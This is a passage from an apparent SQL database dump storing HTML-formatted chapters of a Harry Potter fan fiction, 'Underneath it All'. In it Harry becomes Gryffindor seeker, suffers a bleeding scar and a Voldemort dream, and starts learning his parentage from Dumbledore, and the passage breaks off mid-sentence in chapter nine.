He groaned, a numb thobbing pain seemed to last on \nhis forehead. <i>Why am I in the Hospital Wing..?</i><br>\n <br>\n &quot;Ah, Mr. Potter you\'re finally awake, I see.&quot;<br>\n <br>\n He placed his glasses on hurridly and met the stern eyes of Madame Pomfrey. \n&quot;Why am I here?&quot;<br>\n <br>\n &quot;Why? Well you fainted dead in class of course!&quot; She handed him a glass\nof water. &quot;Drink it, it\'ll clear your mind. I suppose you can leave now since \nyou look fine to me! You should thank Miss. Granger.&quot;<br>\n <br>\n Harry looked startled. &quot;Miss. Granger..?&quot;<br>\n <br>\n &quot;Yes,&quot; Madame Pomfrey gazed at him warily. &quot;Or do you not remember her?&quot;<br>\n <br>\n &quot;Hermione..?&quot;<br>\n <br>\n &quot;Yes, she stayed with you for a long time,&quot; A small smile threatened to\nappear on the middle aged woman\'s face. Harry simply looked stunned as he\npulled the white sheets back and swung his legs over the side of the bed.\n<br>\n <br>\n &quot;She did?&quot; <br>\n <br>\n He was answered by a curt nod from her. &quot;Oh and look at that, here she is \nagain..&quot; Madame Pomfrey added before turning around to leave, revealing a \nquiet Hermione standing near the doorway.<br>\n <br>\n &quot;Um, good morning.&quot;<br>\n <br>\n Harry sucked in a breath unevenly. &quot;Good morning.&quot; <br>\n <br>\n An awkward silence filled the room before Hermione stepped towards his bed. \n&quot;How are you feeling?&quot;<br>\n <br>\n &quot;Fine.&quot;<br>\n <br>\n Silence.<br>\n <br>\n Hermione bit her lip before looking up again suddenly. &quot;Oh!&quot;<br>\n <br>\n Harry stared at her in confusion. &quot;What is it?&quot;<br>\n <br>\n &quot;You\'rethenewGryffindorseeker!!&quot; She declared with a breath.<br>\n <br>\n &quot;Pardon?&quot; Harry raised an eyebrow as Hermione glanced at him sheepishly.<br>\n <br>\n &quot;Sorry, I meant to say, you\'re the new Gryffindor seeker!&quot; She repeated\nin a normal pace, looking over at Harry\'s face to see his expression. First \nit was confusion, then it was blank, and finally a bright smile lit his face. \nShe smiled.<br>\n <br>\n &quot;Really?&quot; He stuttered, standing up from the bed.<br>\n <br>\n Hermione beamed, &quot;Really!&quot;<br>\n <br>\n He ruffled his hair, making it even messier. Hermione\'s smile broadened\nat Harry\'s reaction. He looked awfully cute with a lop-sided smile and overly \nmessy hair, and still with shock and disbelief written on his face. &quot;Pinch \nme.&quot;<br>\n <br>\n &quot;What?&quot;<br>\n <br>\n &quot;Nevermind..&quot; Harry seemed to be reprocessing the information again because \nhe suddenly looked distant. Hermione shifted her weight from one foot to another,\nsuddenly feeling really awkward.<br>\n <br>\n Yet before she even had time to react, a pair of arms wrapped themselves \naround her in a hug filled with joy. &quot;I\'m a Seeker!!!&quot; She heard Harry\'s muffled\ncry of joy.<br>\n <br>\n Hermione couldn\'t help but grin. &quot;Yes Harry...you\'re a seeker!!&quot; She cried \nalong with him as they danced in a circle. Harry suddenly let go of her and \nblushed furiously. &quot;Oh god, I\'m sorry.&quot;<br>\n <br>\n &quot;Why?&quot; The surprise was evident in her voice.<br>\n <br>\n &quot;I just hugged you, out of the blue. I\'m sorry. I suppose I was too overjoyed \nand..and because I\'ve never really done anything in my life..I mean, I\'ve \nnever acomplished much in my life and this is just..really big for me..and \nso..&quot; Yet he was hushed by Hermione\'s finger that suddenly fell across his \nlips. He simply stared at her with those bright green eyes that were flickering \nwith joy she had never seen in them before.<br>\n <br>\n &quot;It\'s ok Harry...I understand,&quot; She said softly before letting her hand\ndrop to her side again. &quot;It\'s natural to be happy, right?&quot; She gave him a\nsmile.<br>\n <br>\n &quot;Right...&quot; Harry mumbled, still slightly unsure.<br>\n <br>\n Hermione stepped closer, opening her arms and wrapping them gently around \nhim. Harry stiffened, feeling her delicate fingers around his back and neck. \n&quot;Congratulations Harry.&quot; <br>\n <br>\n &quot;...Thanks..&quot; He blushed, raising his own arms to return the hug. &quot;And thanks \nHermione.&quot;<br>\n <br>\n &quot;Whatever for?&quot; She whispered.<br>\n <br>\n &quot;For..being there..for me. Watching over me, I mean.&quot;<br>\n <br>\n It was Hermione\'s turn to blush. &quot;How did you know..?&quot;<br>\n <br>\n &quot;Madame Pomfrey.&quot; He answered before they pulled back, only a couple feet \naway from each other. He could feel her soft breath and the scent of her hair;\nwild strawberries. Harry slapped himself mentally before shuffling his feet\na bit away from her\'s. &quot;You\'re..&quot;<br>\n <br>\n &quot;Hm?&quot; She tilted her head slightly, trying to meet Harry\'s gaze yet his\neyes were downcast.<br>\n <br>\n &quot;You\'re...&quot; He started again. &quot;Hermione!!!&quot; He finished abruptly.<br>\n <br>\n Hermione\'s brow furrowed in confusion. &quot;I know I\'m Hermione..&quot;<br>\n <br>\n Harry cursed silently under his breath and quickly lifted his head to meet \nher soft brown eyes. &quot;What I meant to say was, that you\'re really nice. The \nnicest girl I\'ve ever met at least.&quot; He finished off and quickly brushed past\nher towards the Hospital Wing door. &quot;No..not the nicest girl...you\'re the\nnicest <i>person</i> actually.&quot; <br>\n <br>\n Hermione opened her mouth, yet no words formed. She quickly turned around \nbut was surprised to find that Harry was no longer standing by the doorway, \nand that only the swinging of the door told her that Harry had left. <br>\n <br>\n His voice so filled with new confidence, so soft yet so audible to her ears.<i>\n ..the nicest girl I\'ve ever met...no...you\'re the nicest person..</i>.<br>\n   <br>\n<br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n      \n\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(207, 8, '\n        <br>\n   <br>\n   <br>\n   Disclaimer: I don\'t own   any of the original characters in Harry Potter, \n J. K. Rowling does. The plot  and any extra characters belong to me :)<br>\n        <br>\n        <br>\n        <br>\n        <br>\n   <br>\n   <br>\n   <br>\n      \n<center><br>\n   Underneath it All<br>\n         Chapter Eight: One Step Closer</center>\n   <br>\n   <br>\n        <br>\n        <br>\n        <br>\n        <br>\n   <br>\n   <br>\n   <br>\n   Harry struggled to stay in focus, but Divination was not the best class\n   for him, especially at the end of the day. The voice of Professor Trelawney\'s\n    drawled on in the misty, stuffy room, and Harry found himself dosing\noff    frequently. <br>\n        <br>\n        &quot;Mr. Potter.&quot;<br>\n        <br>\n        He shifted his glasses and stared into the inquiring eyes of his\nprofessor.     &quot;Yes, mam?&quot;<br>\n        <br>\n        &quot;Excellent chart,&quot; She commented as she handed him a piece of parchment.\n    &quot;Wonderful predictions! Class! If you have time, do come look at Mr.\nPotter\'s   winter star chart. You may benifit from it.&quot; <br>\n        <br>\n        Lavender and Parvati were at once at Harry\'s desk but Trelawney raised\n   a  hand to stop them. &quot;After class, please.&quot; And the disappointed girls\n walked   back to their desks sulking.<br>\n        <br>\n        Harry rolled his eyes. <i>December 11... I will carelessly fall into\n  the  lake and get lashed by a Lobalug.. </i>He would have to thank Neville\n  for  that one. Shaking his head, he returned to his daydreaming and gazing\n  at the foggy landscape from the window next to him. Divination felt more\n like creative writing to Harry, and probably for alot of other students\ntaking   the class. Yet after all these years, Lavender and Parvati still\nseemed faithful  to Professor Trawlawney and her so called inner eye.<br>\n       <br>\n       Before he was sure his mind would slip into another train of thoughts, \n  Trelawney  dismissed the class and Lavender and Parvati were on him once \n  again.<br>\n       <br>\n       &quot;Ooooh Harry, can I see your chart?&quot; Parvarti said eagerly, her eyes \n twinkling.<br>\n       <br>\n       Harry shrugged, &quot;Er, sure?&quot;<br>\n       <br>\n       &quot;Thanks!&quot; Lavender took the piece of parchment into her hands with \nParvati    eagerly leaning over her shoulder to see Harry\'s \'excellent\' chart. \n&quot;Goodness...you    have some horrible life don\'t you?&quot; Parvati said in astonishment.<br>\n       <br>\n       &quot;I suppose,&quot; Harry strained to keep a straight face. <br>\n       <br>\n       &quot;Oooh, did your hair really get accidentally dyed hot pink?&quot; Parvati \n exclaimed.<br>\n       <br>\n       He frowned, &quot;Uh, no.&quot; <i>I don\'t remember that one...<br>\n       <br>\n       </i>&quot;Well that doesn\'t matter, because I\'m sure Hermione would love\n your   hair in any colour anyways,&quot; Lavender commented with a quick glance\n at Harry.<br>\n       <br>\n       &quot;What?&quot; <br>\n       <br>\n       Parvati looked at her friend with a questioning look. Lavender simply\n  shrugged  and handed Harry\'s chart back to him. &quot;Oh, don\'t look at me like\n  that! Both  of you!&quot; She shook her head, causing strands of hair to come\n loose from her  messily tied ponytail. &quot;Some people are so dense! Let\'s\ngo  Parvati, I want  to go to the library to check something out.&quot;<br>\n       <br>\n       Harry simply watched as the two chattering girls left. Not wanting \nto  be  left alone in the perfume scented classroom, he quickly gathered his\nbooks  and headed down the ladder.<br>\n       <br>\n       <i>Hermione would love my hair in any colour? &nbsp;</i>Harry\'s mind \n repeated,   a small smile hanging on the side of his lips. <i>Really? I\'m \n just being  a stupid git to believe anything of that sort. God, me and my \n stupid stupid  thoughts...<br>\n      <br>\n      </i>&quot;Harry!&quot; A loud cheerful voice greeted from behind his shoulder.\n He  recognized it as Ron Weasley\'s and quickly turned to meet the red-headed \n boy.<br>\n      <br>\n      &quot;Hey.&quot;<br>\n      <br>\n      &quot;Ok, so the re-match is scheduled the day before Christmas Eve. Splendid \n  isn\'t it? A Quidditch match and then the Christmas feast! If we win it\'ll \n  double the goodness!&quot; Ron chattered excitedly. &quot;I\'ve taken Dean\'s broom \nout  from his closet, I\'m sure he wouldn\'t mind.&quot;<br>\n      <br>\n      &quot;Oh...uh how is Dean anyways?&quot;<br>\n      <br>\n      Ron\'s excitement faded slightly. &quot;Still the same, but Madame Promfrey \n says  he\'ll probably wake soon. The thing is, he\'ll probably still be stuck \n in the Hospital Wing until Madame Pomfrey is happy with him to let him out \n of that place.&quot; He shuddered. &quot;Darn unpleasant place. All the white sheets \n and everything, doesn\'t it scare you?&quot;<br>\n      <br>\n      &quot;Well, I guess not,&quot; Harry replied.<br>\n      <br>\n      &quot;Ah, then you probably go there often.&quot; Ron chuckled. &quot;But anyways, \nI  wanted  to tell you that there\'s going to be a practice scheduled the day\n after tomorrow.  You\'ll be practicing with the Snitch and all. I\'ve just\ninformed the rest  of the team about you!&quot;<br>\n      <br>\n      Harry\'s stomach flipped. &quot;Uh...are they...weird?&quot;<br>\n      <br>\n      &quot;What do you mean weird?&quot;<br>\n      <br>\n      &quot;I meant, what was their reaction?&quot; Harry gulped.<br>\n      <br>\n      Ron broke out into laughter. &quot;Harry! They\'re excited! They can\'t wait \n to  see you play. Loosen up you silly git.&quot;<br>\n      <br>\n      Harry managed a weak smile. &quot;Well I don\'t know, I don\'t think I know\n any   of them at all...&quot;<br>\n      <br>\n      &quot;You know me, and the rest of the team is just as easy to get along \nwith!   You should be nervous about facing the other teams, not your own!&quot; \nRon shook   his head and grinned. &quot;So other than that..Dean\'s broom has been\n sent to  your room. I kind of snuck into the kitchens and got one of the\nhouse elves  to take it up to your room.&quot; Ron glanced around him and lowered\nhis voice.  &quot;That\'s not exactly following the rules, but we break them alot\ndon\'t we?&quot;<br>\n      <br>\n      Harry nodded. &quot;Right..&quot;<br>\n      <br>\n      &quot;Yeah, so I\'ll see you at dinner then?&quot;<br>\n      <br>\n      &quot;Ok.&quot;<br>\n      <br>\n      Ron nodded and hurried off with a wave. <br>\n      <br>\n      Harry watched as the red head disappeared from his sight and he sighed, \n  looking out the large oval window next to him. The sun was setting, as it\n  was winter and day was shorter than night. He breathed out, fogging up\nthe   glass directly in front of his mouth. He smiled, seeing his reflection \nsmile   back at him.<br>\n     <br>\n     For once everything seemed to be..on track...there finally seemed to \nbe  a purpose to his life, his existence. He actually felt needed.<br>\n     <br>\n     <br>\n      \n<center> ~*~</center>\n   <br>\n     <br>\n     <br>\n     Hermione wandered down the halls, farther and farther away from her\nstarting   point; the Head Girl dorm. She wasn\'t really sure what she was\ndoing, and   she was pretty sure dinner was just about ending. Being her\nusual self, she  had spent the late afternoon in a cozzy corner of the library,\nand not even  Madame Pince realized that there was still a student in the\nlibrary for she  had been working so efficiently that she had been as silent\nas a mouse.<br>\n     <br>\n     She massaged her shoulder gently, flinging her book bag to hang on her \n other  shoulder. It simply seemed to be getter heavier by the day. Hermione \n sighed,  fumbling a hand nervously into the pockets of her robes. She blinked \n in surprise  when it came in contact with something solid.<br>\n     <br>\n     Bringing her hand out, the glistening glass rose met her gaze at once. \n &quot;Oh!&quot;  She cried out, startled. Raising it up to eye level, she stared at \n the delicate  thing for a good long while, her feet stil carrying her down \n the torched lit hallways of the ancient school. <i>I completely forgot about \n you, you little thing. </i>She chuckled. <i>I\'m really loosing it! Talking \n to inanimate objects now, are we Hermione Granger? <br>\n    <br>\n    </i>She closed her fingers around the stem of the glass rose, pressing\n it  gently to her chest. <i>From Harry...this is from Harry.</i> Hermione\n went around a corner. S<i>o what? It was kind of an accident he gave me\nthis  in the first place.</i> <i>I said it was pretty...and he has such a\ngood heart that he knew I was interested in this glass rose...and so he gave\nit to me. Nothing special, nothing personal. Simple as that.</i><br>\n    <br>\n    Hermione grunted softly, annoyed at her own ridiculous thoughts. Her\nfeet   suddenly stopped, as she looked around her surroundings. <i>I\'m...at\nthe Prefect  Dorms aren\'t I? Right. I am.</i><br>\n    <br>\n    She laughed to herself, wondering why on earth she was here, in this\nhallway,   when she could do nothing at all but stare at the many portraits\nthat aligned   the stone walls of the particular hallway. Her eyes traveled\nacross the paintings  in interest, catching snippets of conversation from\nsome of them.<br>\n    <br>\n    &quot;Oh looky here! It\'s the head girl!&quot; A rather plump young girl in a painting\n  giggled and pointed to her, signaling the other paintings to take notice\n of her. <br>\n    <br>\n    &quot;Well what about it, Anna-Belle? Have you never seen a girl before? Must\n  I remind you that you\'re a girl too?&quot; A rather intelligent looking man\nsitting ontop of a pile of dusty books retorted. <br>\n    <br>\n    The paintings broke into chatter, across the hallways scowls and sneers \n being thrown about. Hermione rolled her eyes. <i>Silly paintings...</i> Her\n eyes came to a stop on a particular silent painting, a portait of a lion\nwho was simply staring back at her with round golden eyes filled with compassion\n and warmth. She didn\'t seem to be able to lift her eyes from it. Neither\ndid the lion.<br>\n    <br>\n    &quot;I see you\'ve taken...interest to the portait leading to my living quarters?&quot;\n  A voice took her out of her trance. Her head quickly snapped to the source\n  of the voice.<br>\n    <br>\n    &quot;Harry!&quot; She yelped.<br>\n    <br>\n    He was leaning slightly on the wall, his arms crossed and a goofy smile \n plastered across his amused face. His two eyes seemed to twinkle so brightly \n that it was almost painful to stare directly in his eyes for too long. She \n merely swallowed, not knowing why she felt in the need to...panick.<br>\n    <br>\n    &quot;Surprised to see me? Well..you shouldn\'t be. I suppose I should be the \n one surprised, no one except the prefects wander about in this hallway...unless\n  you\'re wanting to sneak into the prefect\'s bathroom? It\'s known for the\nbest  washroom in Hogwarts.&quot; Harry shrugged.<br>\n    <br>\n    Hermione shuffled her feet and gazed at a spot just above Harry\'s eyebrows- \n namely his scar that was visible at the moment. &quot;No, no I\'m not here to use\n the bathrooms. That\'s just..a waste of time.&quot; She added. &quot;I just..ended up\n here..and got lost!&quot;<br>\n    <br>\n    A painting giggled, &quot;Look at that! She\'s turning red isn\'t she? Isn\'t \nshe?!&quot;  It giggled excitedly.<br>\n    <br>\n    Hermione blushed, involuntarily. &quot;I\'m glad this painting that leads to\n your  room isn\'t as annoying as the whole lot of them.&quot; She glared at the\n painting that had just laughed at her.<br>\n   <br>\n   Harry chuckled and came up to the portait of the lion, it smiled at him. \n &quot;Griffon Wings,&quot; He muttered, but Hermione heard it anyways. She wondered \n if he didn\'t mind her knowing the password..<br>\n   <br>\n   &quot;Want to come in?&quot; He was already through the hole and was looking at\nher  curiously. <br>\n   <br>\n   Hermione blinked, &quot;Oh, ok...if that\'s alright with you. I mean, I kind \nof  just appeared and..&quot;<br>\n   <br>\n   &quot;It\'s alright.&quot;<br>\n   <br>\n   Hermione nodded and stepped into the room. It was warm and cozy, decorated \n similarly to the Gryffindor common room except that there were less squashy \n armchairs and a bed was against the left wall. It wasn\'t as big as the Head \n Girl dorm though, Hermione noticed, but it was just as grand. A pile of books\n on Harry\'s bed caught her attention and she couldn\'t help but feel curious\n at what type of books he read.<br>\n   <br>\n   She walked towards the bed while Harry flopped himself down on the scarlet \n couch facing the lit fireplace. &quot;Why are there so many books on Dark Wizards, \n Harry? On your bed!&quot; Hermione exclaimed as she carried the books towards \nhim and plopped herself onto an armchair beside the couch. <br>\n   <br>\n   &quot;Oh those?&quot; Harry stared at the books, a slight frown tugging at his lips. \n &quot;They just kinda appeared...strange isn\'t it? I thought maybe Neville left \n them up in my room, since he knows my password. But I asked him, and he said\nhe  never signed out books from the library because he was scared of loosing\nthem.&quot; He shrugged. &quot;Oh well, they\'re kind of interesting you know?&quot;<br>\n   <br>\n   Hermione opened the book and landed on the page Harry had read before. \n&quot;Yeah,  that page is all about Voldemort.&quot; Harry pointed out.<br>\n   <br>\n   She lifted her head, &quot;Don\'t say that name!!&quot;<br>\n   <br>\n   &quot;Sorry,&quot; He answered. &quot;I\'ve just never been able to get why a simple name \n is to be feared of. I mean, what harm can it do to just say his name?&quot;<br>\n   <br>\n   &quot;It\'s not like it\'ll harm you, but it just brings shivers you know?&quot; Hermione \n muttered and scanned the page. &quot;Oh look, isn\'t this weird?&quot; She pointed to\n a specific line on the page and showed it to him.<br>\n   <br>\n   He sighed, &quot;Yeah, I noticed that connection too. But it\'s no big deal, \nI  mean..there are lots of Potters out there.&quot;<br>\n   <br>\n   &quot;But what if you <i>are</i> related to Lily and James Potter?&quot; Hermione \nasked excitedly  as her honey brown eyes shone. &quot;Or even crazier, you might \nbe that baby boy  that might\'ve survived the attack!&quot; Hermione announced as\nshe finished reading  the paragraph.<br>\n   <br>\n   &quot;That\'s too far-fetched,&quot; Harry mumbled.<br>\n   <br>\n   &quot;But we never know!&quot; Hermione said and tucked a strand of her wavy hair\n behind her ear. &quot;I mean, you\'re an orphan right? If I remember correctly..&quot;\n She realized the sudden crest-fallen look on the boy\'s face and instantly\n frowned. &quot;Oh I\'m sorry Harry...I didn\'t mean to bring that up..&quot;<br>\n   <br>\n   &quot;It\'s ok, really. I was just thinking how horrid my aunt and uncle are..and \n my hideous cousin,&quot; Harry managed a feeble smile. &quot;Yeah, wouldn\'t that be \n neat? If I was Lily and James Potter\'s son? Ha...&quot;<br>\n   <br>\n   Hermione opened her mouth to comment but suddenly realized the colour\nthat  was draining from Harry\'s face. She stared opened mouthed as he doubled \nover  in pain, his hands clutching his forehead that had suddenly erupted \nwith sweat. She kept herself from screaming in shock and quickly knelt down \nbeside his shaking form. &quot;Harry! What\'s wrong?!&quot; <br>\n   <br>\n   He had his teeth clenched together as he groaned. &quot;My..scar..&quot;<br>\n   <br>\n   &quot;Your scar?&quot; Hermione couldn\'t keep the panick from her voice.<br>\n   <br>\n   &quot;Hurting...no...burning...&quot; <br>\n   <br>\n   &quot;Should I go get someone?! Dumbledore?! Madame Pomfrey?! Neville?!&quot; Hermione \n was trying to look at his face, but he was looking dowards and she couldn\'t \n see his expression.<br>\n   <br>\n   To her horror, his hands were suddenly dripping with blood, trickling\ndown  from his forehead. &quot;You\'re bleeding...&quot; She uttered.<br>\n   <br>\n   &quot;I..know..&quot; <br>\n   <br>\n   Hermione shook her head, <i>get hold of yourself Granger! What do you\nknow  that can stop the pain? Can you even do that? Argh, what can I do?</i>\n She pulled  her wand out from the pocket of her robes and waved a quick\nhealing spell  over his forehead. Nothing seemed to happen. &quot;Harry! I can\'t\nstop it!&quot;<br>\n   <br>\n   &quot;It\'s..ok..&quot; He said through gritted teeth. &quot;I\'m...fine...it\'ll be over..soon...&quot; \n His figure suddenly stopped shaking, and Hermione shrank back as he slumped \n down onto his knees.<br>\n   <br>\n   Hermione quickly got up and hastily tore a bit of her robes to wipe off\n the blood that smeered Harry\'s hands and forehead, his scar was a bright\nred. She shivered and failed to notice the black shadow hanging outside of\nHarry\'s window.<br>\n   <br>\n   <br>\n  \n<center> ~*~<br>\n <br>\n </center>\n <br>\n   <br>\n   <i><br>\n   There was nothing but grass, dead grass, dry grass...all around him, stretching \n out for miles and neverending...grass. He wasn\'t alone though. Somone was \n breathing heavily beside him and clutching onto his arm. Somehow, he couldn\'t \n turn his head to see who this person was. He couldn\'t really move..<br>\n<br>\n   &quot;Boy. You must be confused. You must be scared...you must feel betrayed, \n do you not? Betrayed from the only people you ever thought of as friends? \n Or even family?&quot; A cold voice that seemed to seep around him whispered faintly.</i>\n   <br>\n   <br>\n<i>   &quot;You are powerful...you have power that you do not know how to use.\nI can  teach you how to use it, I can teach you many things that they cannot.&quot; \nThe  voice seemed to be hanging in front of him. &quot;So why not join me?&quot;<br>\n<br>\n   He felt himself step back from the voice, shaking his head frantically.\n The person beside him stepped back with him and seemed to be speaking to\nhim but he couldn\'t hear. &quot;No. NO.&quot; He said loudly to the air that hung in\nfront  of him.</i>   <br>\n   <br>\n<i>   &quot;No? Are you refusing an offer from the Dark Lord?&quot; A new voice broke\ninto  his thoughts, his eyes shut tightly. The tugging on his arm increased\nfrom  the person standing next to him. &quot;Stop tugging on me!&quot; He wanted to\nscream  but nothing came out.<br>\n<br>\n   Only the wind pounded in his ears, and the cold death gripping voice filled \n his mind and soul. &quot;Join me or die...join me or die...&quot;<br>\n</i>      <br>\n<i>   He didn\'t know why he even bothered to refuse, he just knew it was\nright.  Right not to join him. &quot;No...I rather die..&quot; He felt his own shaky\nvoice speak, much to his surprise. A cool breeze whipped by him and sent\nshivers down his spine and his whole body seemed to freeze.<br>\n<br>\n   &quot;You rather die? How...heroic,&quot; The voice seemed to be taunting him now, \n mocking him. &quot;You are a fool then, just like the rest of them. Not knowing \n power when it is standing right in front of your eyes. Fools.&quot; The voice \nspat.</i>   <br>\n   <br>\n<i>   &quot;And who is this?&quot; The voice left him now, seemingly sweeping by him\nand  now landing onto the person standing next to him. His fists clenched\nand he opened his mouth. &quot;Don\'t touch her.&quot; So it was her. A girl. Who?<br>\n<br>\n   &quot;Ah, don\'t touch her? Why not? Is she worth anything?&quot; The voice was lacing \n around them now, circling them. &quot;I can see that she is nothing but a muggle-born...a \n Mudblood. Nothing but that. With a pretty face, even if she is scared..what \n is she worth saving for? I say I should kill her.&quot;</i>   <br>\n   <br>\n<i>   &quot;No.&quot; He felt himself say firmly.<br>\n<br>\n   &quot;Why is that?&quot;<br>\n<br>\n   &quot;I don\'t know..&quot; <br>\n<br>\n   The voice laughed, &quot;Dear boy, you are foolish and stupid. You wouldn\'t...be \n in love with this girl would you?&quot;<br>\n<br>\n   &quot;I..&quot;<br>\n<br>\n   &quot;Ah, pathetic. So you love her..&quot;<br>\n<br>\n   He felt his brow furrow. &quot;I don\'t..know..&quot;<br>\n<br>\n   &quot;That means yes,&quot; The voice hung in silence for a few seconds before uttering. \n &quot;Avada Kedavra...&quot;</i>                     <br>\n   <br>\n   <br>\n   He jumped up into a sitting postion, finding himself in a tangle of white \n sheets and white walls that met his eyes. Harry Potter quickly examined the\n room he was in and let out a sigh of relief, realizing that it had all been\n a dream. A chuckle brought him back down to earth as he met the warm blue\n eyes of Albus Dumbledore who was gazing at him through his half-moon spectacles.<br>\n   <br>\n   &quot;How are you, Mr Potter?&quot;<br>\n   <br>\n   &quot;I\'m...fine, sir,&quot; He relaxed onto his pillow. &quot;How did I get here? What \n happened? Is she okay?&quot; He blurted out every question without another thought.<br>\n   <br>\n   &quot;You got here because Miss Granger hurridly found me in Professor McGonagall\'s \n office and told us that you had fainted in your room. And if you are asking \n if Miss Granger is alright, she is perfectly fine although urgent to see \nif you are alright.&quot; <br>\n   <br>\n   Harry rubbed his eyes and uncautiously fingered his scar. &quot;Professor...I \n don\'t understand..&quot;<br>\n   <br>\n   &quot;Hmm?&quot; His eyes glinted.<br>\n   <br>\n   &quot;I don\'t understand why my scar..burns..&quot; Harry frowned. &quot;It never burns, \n but recently...&quot;<br>\n   <br>\n   &quot;Ah, your scar,&quot; The old professor brought his own wrinkled finger and \ntraced  Harry\'s lightning-bolt scar with a weary look. &quot;It\'s not an ordinary \nscar.  Do you know how you got it?&quot;<br>\n   <br>\n   Harry shrugged, &quot;From a car crash I suppose.&quot;<br>\n   <br>\n   Dumbledore looked amused. &quot;Ah, muggles do have a sense of creativity.\nBut  no, your scar is not from a car crash. It was given to you, by none\nother  than Voldemort.&quot;<br>\n   <br>\n   &quot;Voldemort?&quot; Harry repeated in disbelief. &quot;No, no that\'s just weird. I\'ve \n never met this Voldemort, and even if I did, shouldn\'t I be dead then?&quot;<br>\n   <br>\n   The wise wizard sighed and looked at Harry straight in the eye. &quot;I think \n it is time for me to tell you what I should have told you long ago...perhaps \n seven years ago, but I felt that you weren\'t ready. But now, whether I think \n you are ready or not, you must know. Because it has come.&quot;<br>\n   <br>\n   &quot;What has come? What do I need to know?&quot;<br>\n   <br>\n   &quot;He has come back, Harry. And you need to know, that you are no ordinary \n boy.&quot;<br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   <br>\n   AN: Goodness, this story is going too slowly for even my own liking. Sorry \n folks, I\'ll pick up the pace. And the end of this story might be closer than\n you all think it is. But anyways, yay! Harry\'s gonna know all about his\nlife  story and everything by the next chapter and yes...H/Hr interaction \n=P *feeling frustrated with fic..*<br>\n   <br>\n   <br>\n    <br>\n    <br>\n    <br>\n     <br>\n     <br>\n      <br>\n       <br>\n       <br>\n       <br>\n        <br>\n        <br>\n        <br>\n               \n\n\n'),
	(207, 9, ' <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n Disclaimer: I don\'t own any of the original characters in Harry Potter, J. K. Rowling does. The plot and any extra characters belong to me :)<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<center><br>\n\n\n<br>\n Underneath it All<br>\n Chapter Nine: Bonding</center>\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n It was raining. Not drizzling, but pouring rain. It would probably turn to snow as the temperature dropped steadily. Harry shivered as he stared blanky at the flickering fire of the cozy Gryffindor common room. He had decided to come back here instead of his dormitory, perhaps he felt alone there. And he felt very alone at the moment. Alone and lost. The fire wasn\'t helping either- he felt cold nonetheless.<br>\n\n\n<br>\n\n\n<i>&quot;First of all, you are Lily and James Potter\'s son.&quot;<br>\n\n\n<br>\n\n\n</i>He glared at the fire, the flames reflecting in his glassy emerald eyes and the frame of his glasses. He felt dull and numb. Of course, Hermione had been right. He was Lily and James Potter\'s son. Harry Potter. And that was enough for him to flip. But no, there had been more. More hidden from him for seventeen years. For seventeen years he had walked the hallways of Hogwarts, not knowing. Not knowing who he truly was. Not knowing the past he could have had. If only. If only his parents had not died.<br>\n\n\n<br>\n\n\n<i>&quot;Voldemort killed them...&quot;<br>\n\n\n<br>\n\n\n</i>Voldemort. He laughed. A cold, hollow laugh. He was their son, and he had never known of their names or the truth behind their deaths. <i> A car crash. I\'ve always known they</i> c<i>ouldn\'t have just died...because of a car crash. Why didn\'t I ever...try finding out the truth</i>.<i> All I ever did was ask questions. I had countless questions, all unanswered..</i> a<i>nd now...they\'re all answered. But why do I still feel so...unfilled.</i>\n\n<br>\n\n\n<br>\n He shut his eyes. Sleep. He needed sleep. But he didn\'t want to sleep, not now.<br>\n\n\n<br>\n\n\n<i>&quot;You were the only survivor.&quot;<br>\n\n\n<br>\n &quot;...Why?&quot;</i> He had asked.<br>\n\n\n<br>\n Dumbledore was expressionless, perhaps there was pity in his clear blue eyes. Harry didn\'t know. <i>&quot;Your mother. She protected you..&quot;</i><br>\n\n\n<br>\n And everything came flooding back. His dreams. The green flash of light that repeatedly haunted him eversince he could remember. <i>&quot;She..protected me from dieing..and there was a green flash, wasn\'t there?&quot;<br>\n\n\n<br>\n &quot;Yes. The killing curse. You were the only survivor, like I said before. The only one that ever survived from the killing curse, ever survived from Voldemort.&quot;<br>\n\n\n<br>\n\n\n</i>And that made him special. But no, it had never gotten out to the wizarding world that a little baby boy had survived from Voldemort. No one knew except Dumbledore, Professor McGonagall, and now, he supposedly had a godfather- Sirius Black.<br>\n\n\n<br>\n His head pounded furiously as he gritted his teeth. He felt utterly stupid. He had always felt alone. But being alone was ok for him. He was use to it. Being alone, sitting alone, working alone, passing time alone. He had felt safe, safe from anyone. He felt a sense of power that being alone- no one would know him. Know his secrets, know his desires, his fears..but he was wrong all along. There was the great Dumbleodre that he looked up to. McGonagall and his so called godfather. They all knew his life better them himself.<br>\n\n\n<br>\n It wasn\'t fair.<br>\n\n\n<br>\n This was <i>his</i> life. Why didn\'t they tell him sooner? So he could feel complete. With a past that made sense, a past where his parents weren\'t a mystery. So they thought he wouldn\'t be ready for the bloody truth then. When he had been a baby, of course he wouldn\'t have understood. When he was eleven, his first year at Hogwarts, they had all felt that little Harry Potter was not ready to hear the truth. <br>\n\n\n<br>\n And so it was hidden from him. Any hints, any evidence that he could be Lily and James Potter\'s son. Until now of course. The night of his parent\'s murder, the little baby boy was thought to have died with them. Lost under the debris of what Voldemort left. Dead of course. But no, he was sitting right here. Alive.<br>\n\n\n<br>\n And so it made him special. He was the first to survive the killing curse. If that had leaked out, Harry Potter would have been famous. The famous..boy-who-lived? But no, Dumbledore had decided it was better off hidden. The wizarding world never knew of a boy named Harry Potter. Lily and James Potter was just like the rest of the lot. Attacked by Voldemort and his Death Eaters and had died.<br>\n\n\n<br>\n Harry sucked in a sharp breath, willing himself not to cry. Dumbledore and McGonagall had left him on the doorstep of the Dursleys, and so began his first eleven years of life in hell. Even Hagrid knew the truth, and Harry had never known. His uncle and aunt must\'ve loved it. Loved knowing something he didn\'t. Loved knowing more about his own parents than he did. They all lied to him.<br>\n\n\n<br>\n All these years, had he lived a lie?<br>\n\n\n<br>\n What he could\'ve been...what he could\'ve had.<br>\n\n\n<br>\n He lifted his clammy hand, and traced a finger down his jagged scar. His scar. The only thing that Voldemort left on him. It 